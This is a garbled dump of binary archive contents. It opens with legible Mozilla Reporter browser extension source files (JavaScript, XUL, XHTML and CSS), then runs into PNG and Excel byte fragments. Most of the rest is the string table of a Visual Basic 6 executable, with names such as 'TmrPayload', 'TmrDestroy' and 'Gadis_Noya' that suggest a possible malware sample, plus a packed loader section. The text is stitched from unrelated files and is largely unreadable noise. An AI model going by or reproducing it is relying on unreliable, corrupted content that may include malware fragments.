reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019
Joe Cage B
""#,##0;""\-#,##0
""#,##0;[Red]""\-#,##0
""#,##0.00;""\-#,##0.00
""#,##0.00;[Red]""\-#,##0.00
_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_
_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_
_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_
_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_
\$#,##0_);\(\$#,##0\)
\$#,##0_);[Red]\(\$#,##0\)
\$#,##0.00_);\(\$#,##0.00\)
\$#,##0.00_);[Red]\(\$#,##0.00\)
#,##0.00_
#,##0_
"Yes";"Yes";"No"
"True";"True";"False"
"On";"On";"Off"
0.00_
0_);[Red]\(0\)
0.00_);\(0.00\)
???
???
???
6ReN!j
hgUSCQ<h
hgUSCQ<h
fJTe,g
fJTe,g
cUSCQ<h
cUSCQ<h
0]hVwQ9
vQN9(u
]KQkSu
]KQkSu
^yv;`{h
gPlQSQS
,{hQu
M&d2?'
M&d2?(
M&d2?)
M&d2?M
jZ?\.?
Microsoft Excel
!Print_Titles
Microsoft Office Excel 2003
Excel.Sheet.8
4/17/2019 4/17/2019 4/25/2019 1MZ
L!This program cannot be run in DOS mode.
PEC2^O
ProjShell32
Using shell32.dll functions
irOu@EEf9
TmrDestroy
TmrPayload
Command3
Command3
Command2
Command2
Command1
Command1
VB5!*
Shell32Functions
Using Shell32.dll
ProjShell32
!fOfOfOzC0@
G:7$C3
ProjShell32
Module1
FormShowDos
Module2
modComputerName
rOu@EEf9
EABHf{KeE
+3qC:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB
TmrPayload
VBA6.DLL
Command1
Command2
Command3
TmrDestroy
user32
GetForegroundWindow
SetWindowTextA
GetWindowTextA
kernel32
lstrcpyA
SetWindowPos
FindWindowA
PostMessageA
Gadis_Noya
Gadis_A_Noya
Gadis_B_Noya
Gadis_C_Noya
Gadis_D_Noya
Gadis_E_Noya
Gadis_F_Noya
Gadis_G_Noya
Gadis_H_Noya
Gadis_I_Noya
+3q"=h
+3qyO3f
GetComputerNameA
[,JAF'
e/<C@[d
d,qJ`mN3f
Picture1
BitBlt
GetDesktopWindow
ReleaseDC
__vbaVarTstEq
__vbaStrCmp
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaStrVarMove
__vbaVarCmpNe
__vbaVarAnd
__vbaBoolVarNull
__vbaLateIdCallLd
__vbaEnd
__vbaVarSub
__vbaVarForNext
__vbaVarAdd
__vbaVarDup
__vbaI4Var
__vbaStrMove
__vbaVarMove
__vbaLenBstr
__vbaVarForInit
__vbaVarLateMemCallLd
__vbaObjVar
__vbaVarSetVar
__vbaFreeVar
__vbaFreeVarList
__vbaFreeObjList
__vbaFreeStrList
__vbaVarCat
__vbaStrVarVal
__vbaObjSet
__vbaFreeObj
__vbaFreeStr
__vbaStrCat
__vbaNew2
__vbaObjSetAddref
__vbaHresultCheckObj
__vbaOnError
__vbaPrintFile
__vbaR4Var
__vbaVarCmpEq
__vbaVarOr
__vbaVarZero
__vbaAryUnlock
__vbaNextEachVar
__vbaFileClose
__vbaVarLateMemCallLdRf
__vbaForEachVar
__vbaVargVar
__vbaErrorOverflow
__vbaPut3
__vbaGet3
__vbaFileOpen
__vbaFpI4
__vbaI2I4
__vbaLateMemCall
__vbaStrVarCopy
__vbaInStrVar
__vbaStrCopy
[,JAF'
FormShowDos
Courier NewD
Picture1
MS Sans Serif;
Using shell32.dll functions
}SVWeE
} jXh0@
}#j(hp5@
}#j,h5@
}#j(h5@
}#j,h5@
}#j$h5@
}#jTh5@
}#jHh5@
}#j h5@
MQ8REP
MQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
rMQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
4SVWeE
F4~43;
j0hp5@
}#jPh6@
PtQREP
QTRdPMQ
TPdQUR
R4PDQUR
4QDREP
}#jhh6@
}#j|h6@
}#jXh6@
}#jXh6@
TRdPQRj
}#j4hp5@
4RDPTQdRtPQRj
4PDQTRdPtQRPQRPj
SVWeE8
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
=EMPQj
TdRtPQj
SVWeEH
uuuu|ld\XTD4$
RPQRMPQ
$4RDPQj
E|PDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEX
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEh
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEx
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
EPhh8@
=EMPQj
TdRtPQj
\SVWeE
} jPh6@
}#jXh6@
UREPMQUREPj
MQUREPMQURj
XSVWeE(
UREPQRPQ
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
MQRPQR
EPMQRPQR
URPQRP
PRTPXQ\R`Pj
Q(R8Pj
xREPMQpRlPtQ
PUREPMQj
UREPpQlRtP
PQRdPtQUR
dQtREP
QRPDQTREP
DRTPMQ
RPQ$R4PMQ
$P4QUR
QRPQREP
PR@P,Q
RPQRPMQ
PPpQ,R
PQRPQUR
pQUR,P
QRPQREP
RPQdRtPMQ
dPtQUR
PQRDPTQUR
DQTREP
QRP$Q4REP
$R4PMQ
PQRPQUR
QRPQREP
URpP,Q
QRPQRP
P$Q4RDPTQdRtPQRPQRPQR
Q$R4PDQTRdPtQj
_^[]QVt$
Vt&PX}
_fFX3^Y
EEEE|l\EPVE
QR|UF8QRPE
E\Pl^HQRSE
L|UQF8RP
\lR|PUQRj
}}}}thdTD4$
QP3f h
f9tY9=A
jPhtA@
jPhtA@
jPhtA@
jDhdA@
&dhQRj
mSVWeE
PxQhR0P@QUR
0Q@REP
RxPhQR
PxQhRPQUR
QxRhPQREP
RxPhQRPMQ
PxQhRpPQUR
QxRhPPQ`REP
PR`PMQ
RxPhQ0R@PMQ
0P@QUR
Q R0P@QPR`PpQRPQRPQRP
R P0Q@Rj
tSVWeE
MEPUQRE
;tvUEVPUE
UQREVPE
EMPUQRj
EEEE|l\L<,
xhXH8($
xhXHD4$
tdTD4$
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
hHR4PQ
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
<h4P$QR
$R4PQj
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
x|R4PQ
RPQRMPQ
$R4PQj
8MP4QR
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
<PSh@@
(QSh@@
xRSh@@
8PSh@@
HEPSh@@
URSh@@
$P4QRj
R$P4QDRTPdQtRPQRPQRPQ
P$Q4RDPTQdRtPQRPQRPQj
MSVBVM60.DLL
__vbaVarSub
_CIcos
_adj_fptan
__vbaVarMove
__vbaFreeVar
__vbaLenBstr
__vbaStrVarMove
__vbaPut3
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaNextEachVar
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaVarCmpNe
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaVarForInit
__vbaOnError
__vbaObjSet
_adj_fdiv_m16i
__vbaObjSetAddref
_adj_fdivr_m16i
__vbaVargVar
__vbaBoolVarNull
_CIsin
__vbaVarZero
__vbaChkstk
__vbaFileClose
EVENT_SINK_AddRef
__vbaGet3
__vbaStrCmp
__vbaVarTstEq
__vbaI2I4
__vbaObjVar
DllFunctionCall
__vbaVarOr
_adj_fpatan
__vbaR4Var
__vbaLateIdCallLd
EVENT_SINK_Release
_CIsqrt
__vbaVarAnd
EVENT_SINK_QueryInterface
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaFPException
__vbaInStrVar
__vbaStrVarVal
__vbaVarCat
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVarLateMemCallLdRf
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaFreeStrList
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarSetVar
__vbaI4Var
__vbaVarCmpEq
__vbaLateMemCall
__vbaVarAdd
__vbaVarDup
__vbaStrToAnsi
__vbaFpI4
__vbaVarLateMemCallLd
_CIatan
__vbaStrMove
__vbaStrVarCopy
__vbaForEachVar
_allmul
_CItan
__vbaAryUnlock
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
i>A4-$
fCtS5-'
ECyU80,
{jA4-$
EK-2P|
qL7-2\$
rQG--?YY!
rQG--YaD*
oF:6P}2
oXE--^
o`E:-3
1qqqqpY7-
,tttttttq\Z9*
(}vvvvvvvvvvvvumR2&
#}yyyyyyyyyyyyyyyrn)
"xVO4]
lWTUS?c~'
*$$$$$$$$
*%%%%%%%%*
*'''''''' *
*))))))))!*
*********"*
+++++++++&+
)(((((+++++
+****+
-kkeJ/
.nnnnnnnS8
/qqqqqqqqqqq\@$
tttttttttttttttfI3
wwwwwwwwwwwwwwwwwwwpS<
zzzzzzzzzzzzzzzzzzzzzzzz\E&
}}}}}}}}}}}}}}}}}}}}}}}}}}M
H((wf,
I33lfZ
KUUmfh
[~lR7#
Rqqqqq\G+
0uuuuuuuuugQ4
1zzzzzzzzzzzzzz\>
2}}}}}}}}}}}}}}}}}r
w)dgu6
Hg3&;wG
D9#?^}
!u}M9&
~!fnnnnnnnn:
$f&zzzzzzzzC
u0,,,,,,'#
11/15/2008
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
